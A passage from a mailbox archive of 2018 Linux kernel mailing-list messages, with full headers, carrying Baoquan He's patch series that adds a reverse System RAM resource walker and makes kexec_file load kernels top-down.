YnJlYWs7Ci0JCQlyZXMtPnNpYmxpbmcgPSBuZXdfcmVzOworCQkJbGlzdF9hZGQoJm5ld19yZXMt
PnNpYmxpbmcsICZyZXMtPnNpYmxpbmcpOwogCQkJbmV3X3JlcyA9IE5VTEw7CiAJCX0KIApAQCAt
MTUyMCw3ICsxNTE1LDcgQEAgc3RhdGljIGludCBfX2luaXQgcmVzZXJ2ZV9zZXR1cChjaGFyICpz
dHIpCiAJCQlyZXMtPmVuZCA9IGlvX3N0YXJ0ICsgaW9fbnVtIC0gMTsKIAkJCXJlcy0+ZmxhZ3Mg
fD0gSU9SRVNPVVJDRV9CVVNZOwogCQkJcmVzLT5kZXNjID0gSU9SRVNfREVTQ19OT05FOwotCQkJ
cmVzLT5jaGlsZCA9IE5VTEw7CisJCQlJTklUX0xJU1RfSEVBRCgmcmVzLT5jaGlsZCk7CiAJCQlp
ZiAocmVxdWVzdF9yZXNvdXJjZShwYXJlbnQsIHJlcykgPT0gMCkKIAkJCQlyZXNlcnZlZCA9IHgr
MTsKIAkJfQpAQCAtMTU0MCw3ICsxNTM1LDcgQEAgaW50IGlvbWVtX21hcF9zYW5pdHlfY2hlY2so
cmVzb3VyY2Vfc2l6ZV90IGFkZHIsIHVuc2lnbmVkIGxvbmcgc2l6ZSkKIAlsb2ZmX3QgbDsKIAog
CXJlYWRfbG9jaygmcmVzb3VyY2VfbG9jayk7Ci0JZm9yIChwID0gcC0+Y2hpbGQ7IHAgOyBwID0g
cl9uZXh0KE5VTEwsIHAsICZsKSkgeworCWZvciAocCA9IHJlc291cmNlX2ZpcnN0X2NoaWxkKCZw
LT5jaGlsZCk7IHA7IHAgPSByX25leHQoTlVMTCwgcCwgJmwpKSB7CiAJCS8qCiAJCSAqIFdlIGNh
biBwcm9iYWJseSBza2lwIHRoZSByZXNvdXJjZXMgd2l0aG91dAogCQkgKiBJT1JFU09VUkNFX0lP
IGF0dHJpYnV0ZT8KQEAgLTE1OTYsNyArMTU5MSw3IEBAIGJvb2wgaW9tZW1faXNfZXhjbHVzaXZl
KHU2NCBhZGRyKQogCWFkZHIgPSBhZGRyICYgUEFHRV9NQVNLOwogCiAJcmVhZF9sb2NrKCZyZXNv
dXJjZV9sb2NrKTsKLQlmb3IgKHAgPSBwLT5jaGlsZDsgcCA7IHAgPSByX25leHQoTlVMTCwgcCwg
JmwpKSB7CisJZm9yIChwID0gcmVzb3VyY2VfZmlyc3RfY2hpbGQoJnAtPmNoaWxkKTsgcDsgcCA9
IHJfbmV4dChOVUxMLCBwLCAmbCkpIHsKIAkJLyoKIAkJICogV2UgY2FuIHByb2JhYmx5IHNraXAg
dGhlIHJlc291cmNlcyB3aXRob3V0CiAJCSAqIElPUkVTT1VSQ0VfSU8gYXR0cmlidXRlPwotLSAK
Mi4xMy42CgpfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXwpM
aW51eC1udmRpbW0gbWFpbGluZyBsaXN0CkxpbnV4LW52ZGltbUBsaXN0cy4wMS5vcmcKaHR0cHM6
Ly9saXN0cy4wMS5vcmcvbWFpbG1hbi9saXN0aW5mby9saW51eC1udmRpbW0K


From - Thu Nov 08 21:41:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe@redhat.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.input,gmane.linux.hardware.nvdimm,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.kexec,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCH v5 3/4] resource: add walk_system_ram_res_rev()
Date: Tue, 12 Jun 2018 11:28:30 +0800
Lines: 96
Approved: news@gmane.org
Message-ID: <20180612032831.29747-4-bhe@redhat.com>
References: <20180612032831.29747-1-bhe@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1528774089 19361 195.159.176.226 (12 Jun 2018 03:28:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 12 Jun 2018 03:28:09 +0000 (UTC)
Cc: patrik.r.jakobsson@gmail.com, airlied@linux.ie, kys@microsoft.com,
        haiyangz@microsoft.com, sthemmin@microsoft.com,
        dmitry.torokhov@gmail.com, frowand.list@gmail.com,
        keith.busch@intel.com, jonathan.derrick@intel.com,
        lorenzo.pieralisi@arm.com, bhelgaas@google.com, tglx@linutronix.de,
        brijesh.singh@amd.com, jglisse@redhat.com, thomas.lendacky@amd.com,
        gregkh@linuxfoundation.org, baiyaowei@cmss.chinamobile.com,
        richard.weiyang@gmail.com, devel@linuxdriverproject.org,
        linux-input@vger.kernel.org, linux-nvdimm@lists.01.org,
        devicetree@vger.kernel.org, linux-pci@vger.kernel.org,
        ebiederm@xmission.com, vgoyal@redhat.com, dyoung@redhat.com,
        yinghai@kernel.org, kexec@lists.infradead.org, monstr@monstr.eu,
        davem@davemloft.net, chris@zankel.net, jcmvbkbc@gmail.com,
        gustavo@padovan.org, maart
To: linux-kernel@vger.kernel.org, akpm@linux-foundation.org,
        robh+dt@kernel.org, dan.j.williams@intel.com,
        nicolas.pitre@linaro.org, josh@joshtriplett.org,
        fengguang.wu@intel.com, bp@suse.de
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jun 12 05:28:01 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fSZyR-0004TY-83
	for glk-linux-kernel-4@m.gmane.org; Tue, 12 Jun 2018 05:27:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933374AbeFLDaJ (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 11 Jun 2018 23:30:09 -0400
Original-Received: from mx3-rdu2.redhat.com ([66.187.233.73]:45704 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S932757AbeFLDaG (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 11 Jun 2018 23:30:06 -0400
Original-Received: from smtp.corp.redhat.com (int-mx03.intmail.prod.int.rdu2.redhat.com [10.11.54.3])
        (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
        (No client certificate requested)
        by mx1.redhat.com (Postfix) with ESMTPS id C82F8401EF30;
        Tue, 12 Jun 2018 03:30:05 +0000 (UTC)
Original-Received: from MiWiFi-R3L-srv.redhat.com (ovpn-8-16.pek2.redhat.com [10.72.8.16])
        by smtp.corp.redhat.com (Postfix) with ESMTP id 3C4FF1134CA2;
        Tue, 12 Jun 2018 03:29:44 +0000 (UTC)
In-Reply-To: <20180612032831.29747-1-bhe@redhat.com>
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.3
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.5]); Tue, 12 Jun 2018 03:30:06 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.5]); Tue, 12 Jun 2018 03:30:06 +0000 (UTC) for IP:'10.11.54.3' DOMAIN:'int-mx03.intmail.prod.int.rdu2.redhat.com' HELO:'smtp.corp.redhat.com' FROM:'bhe@redhat.com' RCPT:''
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2791957 gmane.linux.kernel.input:61517 gmane.linux.hardware.nvdimm:10295 gmane.linux.drivers.devicetree:274309 gmane.linux.kernel.pci:73185 gmane.linux.kernel.kexec:20869 gmane.linux.ports.parisc:28680 gmane.linux.ports.ppc64.devel:158715
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2791957>

This function, being a variant of walk_system_ram_res() introduced in
commit 8c86e70acead ("resource: provide new functions to walk through
resources"), walks through a list of all the resources of System RAM
in reversed order, i.e., from higher to lower.

It will be used in kexec_file code.

Signed-off-by: Baoquan He <bhe@redhat.com>
Cc: Andrew Morton <akpm@linux-foundation.org>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Brijesh Singh <brijesh.singh@amd.com>
Cc: "Jérôme Glisse" <jglisse@redhat.com>
Cc: Borislav Petkov <bp@suse.de>
Cc: Tom Lendacky <thomas.lendacky@amd.com>
Cc: Wei Yang <richard.weiyang@gmail.com>
---
 include/linux/ioport.h |  3 +++
 kernel/resource.c      | 40 ++++++++++++++++++++++++++++++++++++++++
 2 files changed, 43 insertions(+)

diff --git a/include/linux/ioport.h b/include/linux/ioport.h
index b7456ae889dd..066cc263e2cc 100644
--- a/include/linux/ioport.h
+++ b/include/linux/ioport.h
@@ -279,6 +279,9 @@ extern int
 walk_system_ram_res(u64 start, u64 end, void *arg,
 		    int (*func)(struct resource *, void *));
 extern int
+walk_system_ram_res_rev(u64 start, u64 end, void *arg,
+			int (*func)(struct resource *, void *));
+extern int
 walk_iomem_res_desc(unsigned long desc, unsigned long flags, u64 start, u64 end,
 		    void *arg, int (*func)(struct resource *, void *));
 
diff --git a/kernel/resource.c b/kernel/resource.c
index ef9a20b75234..3128ac938f38 100644
--- a/kernel/resource.c
+++ b/kernel/resource.c
@@ -23,6 +23,8 @@
 #include <linux/pfn.h>
 #include <linux/mm.h>
 #include <linux/resource_ext.h>
+#include <linux/string.h>
+#include <linux/vmalloc.h>
 #include <asm/io.h>
 
 
@@ -443,6 +445,44 @@ int walk_system_ram_res(u64 start, u64 end, void *arg,
 }
 
 /*
+ * This function, being a variant of walk_system_ram_res(), calls the @func
+ * callback against all memory ranges of type System RAM which are marked as
+ * IORESOURCE_SYSTEM_RAM and IORESOUCE_BUSY in reversed order, i.e., from
+ * higher to lower.
+ */
+int walk_system_ram_res_rev(u64 start, u64 end, void *arg,
+				int (*func)(struct resource *, void *))
+{
+	unsigned long flags;
+	struct resource *res;
+	int ret = -1;
+
+	flags = IORESOURCE_SYSTEM_RAM | IORESOURCE_BUSY;
+
+	read_lock(&resource_lock);
+	list_for_each_entry_reverse(res, &iomem_resource.child, sibling) {
+		if (start >= end)
+			break;
+		if ((res->flags & flags) != flags)
+			continue;
+		if (res->desc != IORES_DESC_NONE)
+			continue;
+		if (res->end < start)
+			break;
+
+		if ((res->end >= start) && (res->start < end)) {
+			ret = (*func)(res, arg);
+			if (ret)
+				break;
+		}
+		end = res->start - 1;
+
+	}
+	read_unlock(&resource_lock);
+	return ret;
+}
+
+/*
  * This function calls the @func callback against all memory ranges, which
  * are ranges marked as IORESOURCE_MEM and IORESOUCE_BUSY.
  */
-- 
2.13.6



From - Thu Nov 08 21:41:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.ports.ppc64.devel
Subject: [PATCH v5 4/4] kexec_file: Load kernel at top of system RAM if
 required
Date: Tue, 12 Jun 2018 11:28:31 +0800
Lines: 45
Approved: news@gmane.org
Message-ID: <20180612032831.29747-5-bhe@redhat.com>
References: <20180612032831.29747-1-bhe@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1528774104 20376 195.159.176.226 (12 Jun 2018 03:28:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 12 Jun 2018 03:28:24 +0000 (UTC)
Cc: brijesh.singh-5C7GfCeVMHo@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, airlied-cv59FeDIM0c@public.gmane.org,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, keith.busch-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org,
 jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org, sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org,
 dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, thomas.lendacky-5C7GfCeVMHo@public.gmane.org, haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org,
 bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
 jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org, monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org,
 linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
 dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, kexec-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, ebiederm-aS9lmoZGLiVWk0Htik3J/w@public.gmane.org,
 devel-tBiZLqfeLfOHmIFyCCdPziST3g8Odh+X@public.gmane.org, linuxppc-dev@lists.o
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org,
 robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, dan.j.williams-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org,
 josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, fengguang.wu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, bp-l3A5Bk7waGM@public.gmane.org
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Tue Jun 12 05:28:16 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fSZyi-0005A2-0B
	for gln-linux-nvdimm@m.gmane.org; Tue, 12 Jun 2018 05:28:16 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 08E8C211E3E35;
	Mon, 11 Jun 2018 20:30:27 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 510DE211E3E1A
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Mon, 11 Jun 2018 20:30:26 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx03.intmail.prod.int.rdu2.redhat.com
 [10.11.54.3])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id 48413402346B;
 Tue, 12 Jun 2018 03:30:25 +0000 (UTC)
Original-Received: from MiWiFi-R3L-srv.redhat.com (ovpn-8-16.pek2.redhat.com
 [10.72.8.16])
 by smtp.corp.redhat.com (Postfix) with ESMTP id 6C38F1134CA2;
 Tue, 12 Jun 2018 03:30:06 +0000 (UTC)
In-Reply-To: <20180612032831.29747-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.3
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.6]); Tue, 12 Jun 2018 03:30:25 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.6]);
 Tue, 12 Jun 2018 03:30:25 +0000 (UTC) for IP:'10.11.54.3'
 DOMAIN:'int-mx03.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:10296 gmane.linux.kernel:2791958 gmane.linux.drivers.devicetree:274310 gmane.linux.kernel.pci:73186 gmane.linux.kernel.input:61518 gmane.linux.ports.parisc:28681 gmane.linux.kernel.kexec:20870 gmane.linux.ports.ppc64.devel:158716
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/10296>

For kexec_file loading, if kexec_buf.top_down is 'true', the memory which
is used to load kernel/initrd/purgatory is supposed to be allocated from
top to down. This is what we have been doing all along in the old kexec
loading interface and the kexec loading is still default setting in some
distributions. However, the current kexec_file loading interface doesn't
do likt this. The function arch_kexec_walk_mem() it calls ignores checking
kexec_buf.top_down, but calls walk_system_ram_res() directly to go through
all resources of System RAM from bottom to up, to try to find memory region
which can contain the specific kexec buffer, then call locate_mem_hole_callback()
to allocate memory in that found memory region from top to down. This brings
confusion especially when KASLR is widely supported , users have to make clear
why kexec/kdump kernel loading position is different between these two
interfaces in order to exclude unnecessary noises. Hence these two interfaces
need be unified on behaviour.

Here add checking if kexec_buf.top_down is 'true' in arch_kexec_walk_mem(),
if yes, call the newly added walk_system_ram_res_rev() to find memory region
from top to down to load kernel.

Signed-off-by: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Cc: Eric Biederman <ebiederm-aS9lmoZGLiVWk0Htik3J/w@public.gmane.org>
Cc: Vivek Goyal <vgoyal-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Cc: Dave Young <dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Cc: Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
Cc: Yinghai Lu <yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>
Cc: kexec-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
---
 kernel/kexec_file.c | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/kernel/kexec_file.c b/kernel/kexec_file.c
index 75d8e7cf040e..7a66d9d5a534 100644
--- a/kernel/kexec_file.c
+++ b/kernel/kexec_file.c
@@ -518,6 +518,8 @@ int __weak arch_kexec_walk_mem(struct kexec_buf *kbuf,
 					   IORESOURCE_SYSTEM_RAM | IORESOURCE_BUSY,
 					   crashk_res.start, crashk_res.end,
 					   kbuf, func);
+	else if (kbuf->top_down)
+		return walk_system_ram_res_rev(0, ULONG_MAX, kbuf, func);
 	else
 		return walk_system_ram_res(0, ULONG_MAX, kbuf, func);
 }
-- 
2.13.6

From - Thu Nov 08 21:41:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v5 1/4] resource: Move reparent_resources() to
 kernel/resource.c and make it public
Date: Tue, 12 Jun 2018 11:34:43 +0800
Lines: 198
Approved: news@gmane.org
Message-ID: <20180612033443.GB1820@MiWiFi-R3L-srv>
References: <20180612032831.29747-1-bhe@redhat.com>
 <20180612032831.29747-2-bhe@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1528774371 5357 195.159.176.226 (12 Jun 2018 03:32:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 12 Jun 2018 03:32:51 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: brijesh.singh-5C7GfCeVMHo@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, airlied-cv59FeDIM0c@public.gmane.org,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, keith.busch-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org,
 jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
 baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org, sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>, patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org, dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
 thomas.lendacky-5C7GfCeVMHo@public.gmane.org, haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org,
 bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
 jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org, monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org,
 linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
 dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, kexec-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
 Benjamin Herrenschmidt <ben
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org,
 robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, dan.j.williams-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org,
 nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org, josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org,
 fengguang.wu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, bp-l3A5Bk7waGM@public.gmane.org
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Tue Jun 12 05:32:42 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fSa2z-0001Ce-IP
	for gln-linux-nvdimm@m.gmane.org; Tue, 12 Jun 2018 05:32:41 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 86E29211E7E30;
	Mon, 11 Jun 2018 20:34:52 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id A3CD4211E7E29
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Mon, 11 Jun 2018 20:34:51 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx03.intmail.prod.int.rdu2.redhat.com
 [10.11.54.3])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id 5934E818BAF3;
 Tue, 12 Jun 2018 03:34:50 +0000 (UTC)
Original-Received: from localhost (ovpn-8-16.pek2.redhat.com [10.72.8.16])
 by smtp.corp.redhat.com (Postfix) with ESMTPS id ED5E0100295D;
 Tue, 12 Jun 2018 03:34:45 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20180612032831.29747-2-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.3
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.8]); Tue, 12 Jun 2018 03:34:50 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.8]);
 Tue, 12 Jun 2018 03:34:50 +0000 (UTC) for IP:'10.11.54.3'
 DOMAIN:'int-mx03.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
